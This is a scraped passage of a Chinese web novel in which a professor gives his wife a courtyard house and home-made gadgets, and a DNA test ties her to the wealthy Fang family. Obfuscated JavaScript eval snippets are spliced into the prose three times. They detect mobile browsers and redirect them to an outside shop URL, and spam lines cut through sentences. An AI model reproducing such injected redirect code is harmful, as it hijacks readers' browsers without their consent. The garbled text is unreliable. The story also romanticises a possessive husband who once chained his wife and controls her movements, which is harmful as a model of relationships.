她正抱着那张纸出神，下一秒顾煜就把那张纸从她手里拿走了。 言昭还没反应过来，顾煜已经把钱收起来了。 她还以为他是拿去存起来，也没再追问。 哪知道到了晚上，顾煜从外面回来，手里拿着一个文件袋，走到她面前就递给她，说：“给你。” 言昭眨眨眼，然后把袋子接过来，低头打开。 下一秒她整个人直接僵住了，眼睛一点点瞪大，几乎不敢相信自己看到的东西。 袋子里面是一张房本，而且是京市的房本。 言昭猛地抬起头，整个人都傻了。 顾煜已经凑到她面前，歪着脑袋看她的表情，脸上带着一点很浅的笑，说：“我给你买了个大房子，名字只写了你的。” 言昭脑子一片空白，低头又看了一眼房本，上面确实只写着她一个人的名字。 她顿时有点慌，“你怎么买房了？咱们不是有房子住吗？” 她越说越急，“而且怎么能只写我的名字？应该写我们两个人的，还有孩子……” 言昭话还没说完，顾煜已经伸手握住她的手，把她的话拦了下来。 他看着她，很认真地说：“从你第一天来京市，我就想给你买个房子。”他说得很慢，“以前买不起，现在有钱了，自然要安排上。” “而且这个房子写你的名字，就是你的底气。以后我要是惹你生气了，你可以回自己的房子住，谁也赶不走你。” 他说到这里，看着她的眼睛，声音更低了一点，“如果哪天我不在你身边，你也不用看任何人的脸色，这个房子就是你的。” 言昭听到这里，手里捏着房本的手都有点发紧，她看着顾煜，一时间不知道该说什么，只觉得心口一阵发热。 第102章 结扎对男人没有一点影响 在言昭激动了好一会顾煜看她接受的很快心里面也跟着松口气。 只不过因为现在已经是晚上。 新房子自然是看不了的。 言昭躺在床上整个人一点都不困。 她翻了个身又翻了个身脑子里全是那本房产证。 越想越觉得不真实。 她忍不住又翻身看向顾煜小声说：“真的很大吗？” 顾煜躺在旁边本来在看她折腾听到这话忍不住笑了一下。 “明天带你去看。” 言昭点点头。 可点完头她还是睡不着。 脑子里一会是房子一会是京市一会又是自己竟然有房子了。 她甚至开始幻想房子是什么样的。 是不是很大？ 有没有院子？ 孩子以后能不能在里面跑来跑去？ 她越想越兴奋。 就在她还在脑子里乱想的时候一只手忽然从旁边伸了过来。 顾煜直接把人揽进怀里。 言昭原本满脑子的房子瞬间就被打断了。 她还没来得及说话顾煜已经低头贴了过来。 呼吸一下子靠得很近。 言昭那点心思立刻散得干干净净。 很快房间里安静下来。 只剩下压低的喘息声。 灯光被拉暗 言昭是真的没想到。 顾煜前段时间才病了那么几次吐血、发烧、住院折腾了一圈可一到这种事情上他还是一点都不客气。 那股劲头简直让人受不了。 言昭躺在床上缓了好一会整个人都懵懵的。 她甚至忍不住在心里嘀咕了一句—— 原来结扎对男人是真的一点影响都没有。 第二天早上。 言昭是扶着腰慢慢坐起来的。 她刚醒的时候还有点发懵下意识往手腕那边看了一眼。 结果愣住了。 没有锁链。 她眨了眨眼又低头看了一下。 真的没有。 言昭反而有点惊讶。 她原本还以为经过谢临那件事情顾煜会变得更过分说不定又要把她锁起来。 结果什么都没有。 言昭在床上坐了一会这才慢慢起身。 她换好衣服下楼的时候整个人还有点不太适应。 因为顾 你的朋友正在书荒，快去帮帮他吧 煜竟然真的不在。 客厅安安静静的。 只有厨房那边有一点动静。 王阿姨正好从里面出来一看到她下楼立刻笑着说：“太太醒了？” 王阿姨动作很利索马上把早餐端到餐桌上。 “顾教授出门前就交代了让您起来先吃早餐中午会回来。” 言昭蹙眉：“他身体都没好全怎么就去工作了？” 这也是她没想到的还以为顾煜会因为这件事休息一段时间呢。 王阿姨笑着说：“顾教授也没说只是让太太您别担心。” 这边言昭这边日子慢慢恢复平静。 而另一边。 方家这段时间一点也不平静。 差不多整个方家的人都陆陆续续回国了。 国内现在已经开放允许大家做生意 方家这些年在国外的生意做得不小可再怎么赚钱在国外始终是外人很多事情都受到限制。 排外是摆在明面上的事情。 钱能赚可路走得并不轻松。 所以方家这一次决定把大部分生意挪回国内。 不过这并不是他们突然回来的唯一原因。 更重要的一件事是家里传回来一句话—— 丢失的女儿找到了。 这句话几乎是把整个方家都震了一下。 消息最早是从老太太那边传出来的说是在医院里看到了一个姑娘长得跟去世的姑姑几乎一模一样。 这个消息传出去之后方太太的丈夫方德在国外刚谈完一笔生意听到消息后几乎是立刻改了行程。 还有家里的儿子方程。 兄妹两个小时候感情很好当年妹妹走丢的时候他已经记事了。 所以当他听说“妹妹可能找到了”时也第一时间赶回了家。 方家老宅里一下子热闹起来。 客厅里坐着好几个人。 老太太手里拿着几张照片一直翻来覆去地看越看眼眶越红脸上却带着压不住的激动。 方太太坐在旁边神情同样有些激动她已经不知道看过多少遍那些照片了可每次看心里还是忍不住发紧。 刚从国外赶回来的方家当家人坐在主位上他一路风尘仆仆回来此刻正低头看着桌上的照片。 那是老太太在医院远远拍到的。 照片上的女人侧着脸抱着孩子眉眼清清楚楚。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 客厅里的气氛并非压抑。 反而带着一种明显的兴奋。 像是多年寻找终于有了结果。 方太太忍不住说了一句：“真的太像了。 老太太连连点头，声音都有点发抖，“这就是我的囡囡，我一眼就认出来了。 方家当家人看着照片沉默了很久，最后才缓缓开口：“带我去见见她。 这句话一出来，旁边坐着的年轻男人也立刻接话，“对，既然都找到人了，总要见一面。 他说这话的时候语气明显带着兴奋。 客厅里的气氛一下子热了起来。 只有沙发另一头的方晓，整个人僵在那里。 她刚刚还因为哥哥带回来的礼物高兴得不行，那条项链正挂在她脖子上，她刚才还低头摆弄着，脸上带着笑。 可现在，她的笑已经完全消失了。 她盯着桌上的照片，又看向客厅里那些明显激动的人，脑子里像是有什么东西炸开了一样。 他们在说什么？ 找到了？ 那个被自己顶替位置的女孩，不应该死在外面了吗？ 方晓听见一向宠爱自己的哥哥也站起身，一脸兴奋地说：“终于找到妹妹了！ 她猛地站了起来，然后用力拍在桌面上。 “啪！ 声音在客厅里格外响。 所有人都被她吓了一跳。 方晓脸色难看得厉害，眼眶甚至有点红。 她盯着他们，声音几乎是喊出来的。 “不可能！ 方晓这一声喊出来，客厅里的气氛瞬间变了。 原本那种激动、兴奋的气氛一下子被打断，几个人同时皱起了眉。 方母先反应过来，她伸手拉住方晓的胳膊，语气还算温和，“晓晓，你这是怎么了？她以为女儿只是突然没反应过来，便安抚地说了一句，“以后你也有姐姐了，你不高兴吗？ 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可一听到这句话，她整个人一下子炸了。 她从小被宠着长大，什么时候被这样当面说过。 方晓猛地抬起头，眼睛通红，声音几乎是吼出来的。 “你凭什么这么说我！我在这个家这么多年，你们什么时候把我当外人了？是你！一直是你看我不顺眼！” 方晓越说越激动，“我在这个家长大，喊你们爸妈，喊你奶奶，我哪一点不是这个家的人！而且你们不是一直都说她已经死了吗？凭什么说她……” “啪！” 这一巴掌打得很响。 却不是老太太。 而是方母。 客厅里瞬间安静下来。 方晓整个人都愣住了。 她被打得脸偏向一侧，半天没反应过来。 从小到大，妈咪从来没有打过她。 方晓慢慢转过头，眼眶一下子红了，声音发抖地喊了一声。 “妈咪……” 那声音里全是不可置信。 方母自己也愣住了，刚才听见说自己闺女死了，几乎是条件反射抬手的。 等真的打下去，自己也后悔了。 方母脸色一下子慌了，立刻走过去拉住方晓，声音也软了下来。 “晓晓……妈不是这个意思，你也是妈妈的女儿，妈妈当然喜欢你，只是这件事——” 话还没说完。 方晓猛地把她推开。 她眼睛红得吓人。 一句话都没再说。 转身就冲出了客厅。 门被她用力推开，脚步声很快消失在院子外面。 客厅里剩下的人全都沉默了。 言昭完全不知道方家那边已经闹成了一场大戏。 就算她真的知道了，大概也只是心里闷一会。 毕竟现在连是不是一家人都还没有确定，这种事情想多了也没有用。 她的日子还是照常过着。 等到中午的时候，顾煜果然回来了。 两个人在家里简单吃了顿午饭，收拾了一下，顾煜就带着她一起出门，准备去看看他新买的房子。 第103章 顾煜威武起来了 车子在一条安静的胡同口停下。 言昭一下车，就忍不住四处看了看。 这里离故宫很近，胡同却很安静，偶尔有几个人从院门里出来，看见外面有人，也只是淡淡看一眼，然后就各自回到自家院子里。 不像外面的大街那样热闹。 顾煜带着她往里面走。 胡同不算长，很快就停在一扇木门前。 言昭这一路已经听顾煜说了不少关于这个房子的事情。 这套四合院原本是一个老画家的房子。 当年因为一些事情，人被下放了，房子也被收走了。 现在政策变了，人也被证明是清白的，房子自然也重新还了回来。 只不过这位老画家已经年纪很大了，这些年在外面过得太苦，现在儿子在国外站稳了脚，就想把老人接过去养老。 老人也不想再折腾了。 而且房子虽然还回来了，老人却觉得国家不知道还会不会收回去，于是就准备卖掉。 顾煜正好赶上买到了。 两个人站在门口。 顾煜伸手推开那扇木门。 门“吱呀”一声打开。 院子一下子出现在眼前。 四四方方的院子，中间是一块空地，墙角种着一棵石榴树，枝叶已经长得很高了。 阳光从上面落下来。 院子里安安静静的。 言昭站在门口，一时间都没有往前走。 她是真的喜欢这种院子。 刚来京市，顾煜买房的时候，她就见过几次这种老院子，那时候就觉得很好看。 可那时候她连想都不敢想。 这种房子太贵了。 没想到现在真的站在这里。 言昭这才慢慢走进去，眼睛亮得不行，左看看右看看。 “这真的是我们的？” 顾煜点了点头。 他说得很自然，“这是你的房子。” 言昭站在院子中间，听见这句话，眼眶一下子就有点红了。 她自己都没想到会这样。 这院子她当然喜欢，可真正让她心里发热的，其实不是这个房子。 而是顾煜。 从她来到京市开始，这个人对她做的每一件事情，都是实实在在的好。 没有敷衍，也没有算计。 言昭忽然走过去，一下子抱住了他。 顾煜被她抱住的时候，还愣了一下。 下一秒就低头 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 看她。 言昭抱着他声音有点闷闷的“老公你对我太好了。” 她抬头看他眼睛亮亮的。 “我好喜欢你。” 顾煜看着她没说话。 只是伸手抱住了她的腰。 言昭靠在他怀里心里忽然有点说不出来的愧疚。 她忍不住小声说了一句“我现在想起来都觉得后悔。” 顾煜低头看她“后悔什么？” 言昭轻轻吸了一口气。 “那次我跑了。”她说得很慢“不应该跑的。” 自己不见的时候他有多难受。 言昭想到这里抱他的手都紧了一点。 “让你难受了那么久。” 顾煜低头看着她。 听见她说后悔的时候他没有说太多只是伸手把她抱紧了一点 言昭点头。 她这一次回答得很快。 “我不会离开你。” 说完她又看了一眼这个院子眼睛亮亮的整个人一下子兴奋起来。 言昭已经重新开始打量院子了越看越喜欢。 “那边可以给孩子弄个小秋千院子这么大他们两个可以在这跑来跑去。” 她一边说一边比划。 “门一关外面也看不到孩子怎么闹都行。” 顾煜原本还抱着她。 本来正安安静静享受她对自己的喜欢哪知道她的话题就转到孩子身上去了。 顾煜心里多少有点不乐意。 顾煜忍不住伸手捏了一下她的腰。 言昭“哎呀”了一声回头瞪他。 顾煜没说什么。 只是看着她。 她脸上全是笑眼睛亮亮的整个人都在兴奋。 顾煜看着看着心里那点不乐意又慢慢散了。 他很喜欢她这样笑。 …… 时间过得很快。 转眼就过去了一个月。 这一个月里言昭确实乖得不行。 她几乎每天都待在家里偶尔带着孩子在院子里转一转大多数时间都是看看书、陪孩子、等顾煜下班。 顾煜倒是很满意。 只要她在家他整个人情绪都稳定不少。 这一个月也没有发生什么大事。 日子安安稳稳地过着。 唯一算得上新鲜的事情就 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 是家里忽然多了一台电视机。 而且还是彩色的。 那天是顾煜带着几个人抬回来的。 言昭一开始还不知道是什么东西，等到摆在客厅里，插上电源，屏幕亮起来的时候，她整个人都愣住了。 “这是……电视？ 她站在旁边看得目不转睛。 屏幕里竟然有人在动。 而且颜色还是彩色的。 言昭忍不住走近一点，盯着看了好半天。 她上辈子没死的时候，村里也有一台电视。 不过是黑白的。 而且还是全村唯一的一台。 每次到了晚上，十里八乡的人都会跑过去看，屋子里挤得满满当当，连窗户外面都站着人。 那时候她也跟着看过几次。 言昭忍不住回头看顾煜：“这东西得多少钱啊？ 顾煜很平静地说了一句：“我做的，不要钱。 言昭猛地倒吸一口气，她一下子转头看向顾煜，眼睛瞪得老大，里面全是震惊。 “老公，你竟然会做电视机？！她整个人都激动起来：“那咱们不是发财了吗？！ 顾煜：“？？？ 他眨了眨眼。 言昭已经开始激动地算账了。 “一台电视机多贵啊！我听说京市现在一台电视机要好几千块！咱们要是会做，那不是随便卖卖就能赚钱？ 顾煜终于听明白她在想什么了。 他沉默了一下。 然后直接伸手把她拉走。 言昭还没反应过来，就被他拖着往后面走：“咱们有这个手艺，往后再教给孩子，让孩子也做电视机，这可是一门手艺！ 顾煜已经带着她走进洗澡的浴室，他指着墙上的一个东西，说：“这个是热水器。以后不用烧水，也不用去大澡堂，在家里就能有热水。 言昭又吸了一口气，“竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338072|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然有这么好用的东西？她小声地问：“这个……也是你做的？ 顾煜点了点头，他微微扬起一点下巴，神情里难得带了点小小的得意。 下一秒，言昭的声音立刻炸开了。 “老公！你竟然会这么多东西！ 她眼睛亮得不行，围着那个热水器看了两圈，又转头盯着顾煜，满脸都是崇拜。 “你脑子到底咋长的？咱们孩子是不是也能有你这个脑子？ 顾煜听到这里，撇了撇嘴。 “我这脑子是独一无二。 你的朋友正在书荒，快去帮帮他吧 言昭一点都不反驳。 她立刻抱住他，用力点头。 “对对对！独一无二！老公你太厉害了！” 言昭是真的佩服。 在她看来，顾煜会做电视机就已经很吓人了，现在连这个热水器也是他弄出来的。 她越想越觉得自己男人了不得。 顾煜看着她这副崇拜到不行的样子，眼神也慢慢软下来。 然后他像是想起什么，从口袋里掏出一个小小的方盒子。 “昭昭，还有这个给你。” 言昭顺手接过来一看，是一个方方的小盒子，外壳光滑，看起来像个砖头。 顾煜说：“这是手机，以后我们可以用这个打电话，这样你就可以随时找到我，我也能随时找到你。” 他说着又从口袋里拿出一个一模一样的，然后开始给言昭示范。 言昭低头看着手里的那个小盒子，半天没动。 手机。 这个词她不是第一次听。 上辈子还没死的时候，她就听村里有人说过，说那是很厉害的大领导才有的东西，能随时随地跟别人说话，特别神奇。 可她那时候只当是传说。 谁能想到，现在这东西竟然就在自己手里。 而且—— 也是顾煜做的！ 言昭眼睛越瞪越大。 她翻来覆去地看着那个小小的机器，又看看顾煜，整个人震惊得都快说不出话了。 看顾煜的眼神已经不是崇拜了，简直像在看什么神仙。 “你也太厉害了吧……” 她是真的觉得离谱。 电视机是他做的。 热水器是他做的。 现在连手机都是他做的。 言昭越想越觉得不真实。 就在她还震惊得不行的时候，旁边几个刚刚搬东西过来的男人嘴角都忍不住抽了一下。 他们几个人对视了一眼。 都没说话。 这些在言昭眼里已经夸张得不行的东西，都是顾教授顺手做出来的。 真正的项目如果让外面的人知道，那才是真的要吓死人。 不过这些话他们也不会多嘴。 几个人把最后一点东西组装好，又检查了一遍线路，确认没问题后，就很自觉地收拾工具。 然后安安静静地离开了。 屋子里只剩下言昭和顾煜。 顾煜看着她那副震惊得还没缓过神的样子，神情倒是很平静。 他语气很随意地说了一句：“我会做很多东西，你想要什么，我都可以试试。” 言昭抱着那个手机，半天没说话，她今天是真的被震惊了一整天，从电视机到热水器，再到现在这个手机，她感觉自己脑子都不够用了。 她盯着顾煜看了好一会，像是第一次认识这个男人一样。 第104章 就算结扎了晚上也可以努力 过了半天才慢慢吸了一口气，整个人都严肃起来，然后非常郑重地说：“那等咱们孩子长大了，全让孩子跟你学。” 顾煜还以为她会说什么，结果听见这句话，整个人顿了一下。 言昭越想越激动，眼睛都亮了：“咱们有两个孩子，一个学做电视机，一个学做手机！你这么聪明，他们要是都像你一样，那咱们家不是发达了吗？！” 她说得特别认真，还一边说一边可惜：“现在你又结扎了，不然咱们多生几个多好啊。” 顾煜沉默了一会。 最后实在是忍不住打断：“昭昭。” 言昭还在想孩子未来的事情，下意识应了一声：“嗯？” 顾煜说：“孩子可能没有我这么聪明。” 言昭理直气壮地摇头：“怎么可能呢，做爹的都这么聪明，孩子肯定也聪明！” 顾煜：“……” 他低头看着她，过了一会忽然轻轻笑了一声，然后伸手把她抱进怀里，语气慢悠悠的：“不过昭昭刚刚说得也有点道理。” 言昭愣了一下：“什么？” 顾煜低头在她耳边说：“我就算结扎了，晚上也可以努力呀。” 言昭这才反应过来他说的是什么，整张脸瞬间涨红，她抬手就拍了他一下：“你脑子里就不能想点别的！” 顾煜一点也不躲，反而把她抱得更紧了一点，低声说：“刚刚不是你说的吗，要多生几个，我没有这个能力，但是我有这个心，行为上还是可以支持你的。” 言昭被他说得满脸通红。 屋里气氛正好，言昭被他说得脸颊通红，人都还没缓过来，顾煜却已经慢慢松开了她。 就在这时，王阿姨走过来轻轻敲了一下门。 顾煜眉头微微一皱，只不过还是让言昭在这儿坐着，他下楼。 院门打开，门口站着两个人，都是他单位的人。 两人一见到顾煜，刚要开口说话。 顾煜先抬起手，指尖放在唇前，做了一个很轻的“嘘”的动作。 两人立刻愣了一下，下意识压低声音。 顾煜往屋里看了一眼，然后快步走到院子里，把门半掩上，这才伸手把他们手里的牛皮文件袋拿了过来。 “结果到了？”他声音压得很低。 其中一人点点头。 顾煜指尖顿了一下。 他没有再说话，而是直接把文件袋拆开。 顾煜低头，把里面那几页纸抽了出来。 两 听说看这本书的人都是很幸运的，分享后你的运气会更棒 个人站在旁边，都没敢出声。 顾煜目光快速扫过上面的英文数据。 他看得很快。 几秒之后，他的视线停在了最后一行。 院子里一时间安静得很。 风从胡同口吹进来，院子里的树叶轻轻晃了一下。 顾煜的手指慢慢收紧。 那张纸在他指间轻轻抖了一下。 过了好一会，他才轻轻吐出一口气。 顾煜把那几页纸重新塞回文件袋里。 “知道了。” 他的声音很平静。 两人明显感觉到，他整个人的气场都变了。 “那……要通知方家那边吗？” 顾煜抬起眼。 他的眼神冷静得过分。 “先不用。” 他说完，把文件袋折好，拿在手里。 “这件事先别说出去。” 两人愣了一下，但还是点头。 顾煜没有再多说什么，送他们到门口，看着两人离开。 等院门关上，他站在原地没有动。 文件袋还在他手里。 里面那张检测报告的最后一行结果清清楚楚。 ——血缘关系概率：99.99%。 顾煜低头看了一眼，然后慢慢把文件袋握紧。 这时候，言昭的声音从里面传出来。 “是谁来了吗？他们怎么走了？” 顾煜抬起头，他脸上的神情已经恢复得很正常。 “单位的人。”他说：“送点资料过来。” 言昭哦了一下。 这会儿她坐在沙发上摆弄手机，学会怎么打电话后，新鲜得不得了。 他看着她那副高兴得不得了的样子，没有打断她。 过了一会儿，他从口袋里又拿出一样东西，递到她面前。 是一根黑色的皮筋。 那皮筋颜色乌黑，看起来很普通，下面还吊着一个小小的黑色石头，像个小坠子。 顾煜把东西递给她，说：“昭昭，这个你要一直戴着。” 言昭低头看了一眼，忍不住眨了眨眼。 这皮筋实在有点丑，黑乎乎的，那个小坠子也黑乎乎的。 她刚想说话，顾煜已经慢慢补了一句：“这是我亲手做的。” 言昭愣了一下，脸上的表情立刻就变了。 她马上把自己头上的皮筋摘下来，说：“那我要用这个。” 动作很利索，三两下就把那根黑 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 色皮筋换上了。 言昭还在低头摸着头上的皮筋，忽然听见顾煜说：“今晚我们出去吃吧。” 她抬起头愣了一下。 “出去吃？” 顾煜点头。 言昭几乎是下意识就说：“那孩子怎么办？” 顾煜脸上的表情立刻有点不乐意。 “有阿姨照看。” 他说得很干脆。 “你不用担心。” 言昭还是有点舍不得，她下意识往一扇门看了一眼，像是还能听见孩子的声音一样。 她现在每天都围着两个孩子转，突然要晚上出去吃饭，总觉得不太习惯。 顾煜看着她这副样子，眉头已经慢慢皱起来了。 他最不喜欢的就是她整天把注意力都放在孩子身上。 明明以前她眼睛里只有自己。 顾煜心里有点不舒服，但也没说出来。 他已经在心里做了决定。 今晚带着昭昭去四合院那边住。 直接不回来了。 言昭当然不知道他脑子里已经把今晚安排好了，她只是看到顾煜脸色有点不高兴。 她叹了口气，然后笑了笑，伸手拉了拉顾煜的袖子：“好嘛，今晚我们出去吃。” …… 最近这段时间，方家一直在打听言昭的消息。 原本他们以为事情不会太难。 顾煜不过是京大的一个教授。 虽然年纪轻轻当上教授确实厉害，可再厉害也不过是个读书人。 可很快他们就发现事情不对。 言昭的住处查不到。 顾煜的行踪也不容易问。 甚至连一些简单的家庭信息都被遮得严严实实。 方家起初还没多想，直到想起上次在医院的事情。 那天自己刚走到病房门口，就被两个男人拦住了。 那两个人穿得很普通，也没拿出什么证件，可只要站在那里，就让人下意识不敢多问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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包厢的门忽然“砰”地一声被用力推开。 动静大得整个房间都震了一下。 言昭下意识抬头。 门口站着一个人。 方晓。 她站在那里，脸色气得通红，明显是一路冲过来的，胸口还在起伏。 她一看到屋里两个人，眼睛立刻瞪大。 “你——” 她刚张嘴准备骂人。 话都没说出来。 言昭手里的骨头已经飞了出去。 “啪！” 骨头正正好好砸在方晓脑袋上。 方晓惊呼了一声，然后她还没反应过来，走廊外忽然冲进来两个人。 动作极快。 一人抓住她的手，一人按住她肩膀。 方晓直接被按在地上。 她整个人都懵了，还没来得及挣扎，就被两个人从地上拖起来。 “放开我！你们干什么！” 她尖叫着。 可那两个人根本不理她，直接捂住了她的嘴巴，然后动作利索地把人往外拖。 前后不过半分钟。 门口又重新安静下来。 包厢门重新关上。 像是什么都没发生一样。 言昭整个人还保持着刚才扔骨头的姿势。 她慢慢把手收回来。 脸上的表情全是茫然。 她看了看门口，又看了看顾煜。 “……刚刚发生什么了？” 顾煜已经拿起手帕，伸手过来，轻轻给她擦了擦嘴角的油。 动作很自然。 “没事。”他语气很平静：“昭昭继续吃。” 第105章 原来真的是我家人 言昭原本还在低头啃肘子。 可刚刚那一幕过去之后，她忽然就安静了一点。 她慢慢把手里的骨头放下，像是突然想起什么。 言昭抬头看向顾煜。 “老公。” 顾煜还在给她擦手，闻言抬眼看她。 言昭有点迟疑地说：“我突然想起来……那个检查，现在是不是差不多一个月了？” 她说到这里，忽然想起在家里的时候有人过来送资料的事情。 难道…… 顾煜原本弯着的眉眼，在那一瞬间僵了一下。 他的唇角还保持着一点笑，只是那笑意微微压了下去。 神色依旧温和，可眼底压着的情绪却像是暗流一样翻涌，带着一种几乎溢出来的躁动。 顾煜低头看了她一会。 然后轻轻点了一下头。 “是的，我本来想晚上再跟你说。” 言昭听见这句话，整个人瞬间紧张起来。 她下意识坐直了一点。 手指不自觉攥住桌角。 她张了张嘴。 想问。 可话到嘴边又卡住了。 她忽然有点不敢问。 言昭脑子里乱糟糟的。 这一个月，她其实都在刻意不去想这件事，可现在真的到了出结果的时候，自己心里反而有点慌。 如果…… 真的有血缘关系怎么办？ 言昭抬头看着顾煜，眼睛有点不安。 “那……结果是……” 顾煜没有立刻回答。 他看着她。 看得很久。 像是在确认什么，又像是在慢慢压住自己心里的某些东西。 过了好一会，他忽然伸手握住她的手。 “昭昭。” 言昭心口一紧。 顾煜低声说：“如果结果是真的，你会离开我吗？” 言昭愣住了。 她没想到他会先问这个，下意识摇头：“我回去干什么？我男人在这，我孩子在这，我家也在这呀。就算真的是家人，那也是多几个人而已，又不是换个家。” 顾煜听见这句话，手指慢慢收紧了一点。 他盯着她的脸。 眼底那股原本压着的躁动，慢慢沉了下去。 明显是终于被她这些话安抚住了。 顾煜沉默了一会，才慢慢说：“昭昭，结果是你跟方家有血缘关系。” 言昭整 听说看这本书的人都是很幸运的，分享后你的运气会更棒 个人顿住了。 她眼睛慢慢睁大。 包厢里一时间安静下来。 连外面大厅的声音都像隔得很远。 言昭脑子有点空。 她坐在那里，好半天都没说话。 过了好一会，她才慢慢吐出一口气。 “……原来真的是我家人。” 她说这句话的时候，语气反而很平静。 顾煜一直看着她，他正在仔仔细细观察她每一个表情。 言昭低头看着桌子，沉默了一会，然后忽然拿起筷子。 她夹了一块烤鸭放进嘴里。 “我们先吃饭吧，凉了会不好吃。” 顾煜没有再让她继续低头吃，他伸手把她的手握住，掌心慢慢包住她的手指，目光一直落在她脸上。 言昭被他这么握着，她下意识抬头看他。 顾煜声音很慢：“昭昭，我希望你以后有什么事情都不要瞒着我，比如现在。” 他说到这里停了一下，手指轻轻扣住她的指节，“你在知道方家是你家人之后，现在在想什么？” 言昭低头看着桌子，过了一会苦笑了一声：“脑子有点乱，我也不知道该怎么办。” 她抬头看他，眼神里有点迷茫，“你说我要不要跟他们相认？” 顾煜看着她，神情依旧温和：“昭昭，没有那么复杂。你想跟他们相认也没事，不想相认也没事，这件事本来就只是多出来的一段关系而已。 你还是像以前一样生活，还是我的妻子，最多就是在京市多了一家可以走动的亲戚。” 言昭原本乱糟糟的脑子，在听见这句话的时候忽然安静下来。 她整个人被按住了一样，心里那股慌乱慢慢散开。 沉默了好一会。 等她再一次抬头看着顾煜，就跟着露出一个笑容，然后整个人凑过去抱住了他。 “你真好。” 顾煜被她抱住，手下意识环住她的腰，低头看着她的脸，唇角依旧带着那点温柔的笑。 可只有他自己知道，心里的情绪一点都不温柔。 他根本不情愿她去认什么亲。 在顾煜看来，他们两个人现在的生活已经很好了。 他没有家人。 她也没有。 他们彼此就是对方唯一的依靠。 这才是最稳定的关系。 可现在，昭昭的家人忽然找了回来。 突然多出来一群人，要把她的生活重新分走一部分。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 顾煜脸上的神情依旧温和，甚至还伸手轻轻拍了拍她的背，像是在安抚她。 实则他眼底深处压着一层很重的躁动。 那种情绪黏稠又阴沉，像是在一点一点往外翻。 他太阳穴也开始微微跳了一下，脑袋里像是被什么东西轻轻扯了一下。 那种熟悉的疼意又开始冒出来。 顾煜眉头几乎是瞬间皱了一下。 不过他很快就压住了。 言昭还抱着他，完全没有察觉。 她只是心情好了不少，还在小声说：“刚刚我真的有点慌，现在好多了。” 顾煜低头看着她，声音还是那样温柔：“嗯。” 他伸手轻轻摸了摸她的头发。 …… 晚上从饭店出来后，顾煜果然没有带言昭回原来的住处，而是直接把她带去了四合院。 言昭其实还惦记着家里的孩子，下车之后还往回头看了一眼，小声说了一句：“要不咱们还是回去吧？” 顾煜像是没听懂一样，只是牵着她的手往院子里走：“先洗个澡。” 没等言昭再说什么，他已经把人带去了附近的大澡堂。 夜里泡在热水里，整个人都松下来，言昭原本还有点乱的脑子也被热气蒸得晕乎乎的。 等两人从澡堂回来，院子里已经彻底安静下来，灯光从屋子里透出来，带着一点暖意。 两个人回到房间后，气氛自然地慢慢黏在一起。 灯光晃了一阵，等一切安静下来，言昭整个人软在床上，气息还没完全平稳。 原本这种时候她都会直接睡过去，可这一次她却没有睡着。 她躺在那里，看着屋顶发了一会儿呆，脑子里还是忍不住在想方家的事情。 顾煜侧头看了她一眼，发现她眼睛还睁着，低声问了一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338074|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“还在想？” 言昭轻轻“嗯”了一声，小声说：“就是在想……要是他们真的来找我，我该怎么说。” 顾煜看着她那副还有精神思考的样子，眼神慢慢暗下来。 他本来就不喜欢她脑子里一直想着这件事，现在见她居然还有力气想这些，直接把人又拉了过来。 言昭还没反应过来，就被他重新按回床上。 等这一阵折腾完，言昭是真的一点力气都没有了。 整个人直接睡了过去，连梦都没做。 她一觉睡到第二天大清早。 第二天她醒过来的时候，阳光已经从窗子照进来了。 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 言昭迷迷糊糊地坐起来，就听见院子外面传来敲门声。 顾煜已经醒了，正坐在旁边看她。 听见敲门声，他起身去开门。 院门一打开，外面站着好几个人。 方家的人站在最前面，后面还跟着两个警察。 顾煜眉头微微一皱。 方太太脸色有点尴尬，先开口解释：“顾教授，实在不好意思，这么早打扰你们，是因为昨天晓晓的事情……她在饭店闹事，还动手……” 顾煜站在门口，神情很平静。 屋里，言昭已经听见动静，从房间里走了出来。 她一看到院子里的阵仗，也愣了一下。 昨晚自己本来还在想，怎么跟方家联系。 现在言昭看到院子的人，她还没完全清醒过来，下意识问了一句：“发生什么事了？” 然后她跟着知道方晓被关进了警察局，现在还没放出来。 院子里一时间安静下来。 言昭这才彻底清醒了。 顾煜把院门关上之后，并没有在门口多说什么，而是侧身示意了一下：“进来吧。” 方家的人和那两名警察互相看了一眼，最后还是跟着走进院子。 四合院的院子不算小，青砖铺地，几棵树在院角落里安安静静立着，早晨的光落下来，整座院子显得格外清爽。 两个警察震惊于这一家子的有钱。 方家也很意外，一个教授竟然能在故宫旁边买这么一套四合院。 顾煜直接带着一群人走进西侧的待客厅。 他让人坐下之后，也没有立刻说话，而是从旁边的柜子里拿出一个文件袋，把文件袋放在桌面上。 屋子里的人一时都有点疑惑。 顾煜这才开口：“你们先把这个看完，再说你们那个养女的事情。” “养女”这两个字一出来，屋子里的气氛明显停了一下。 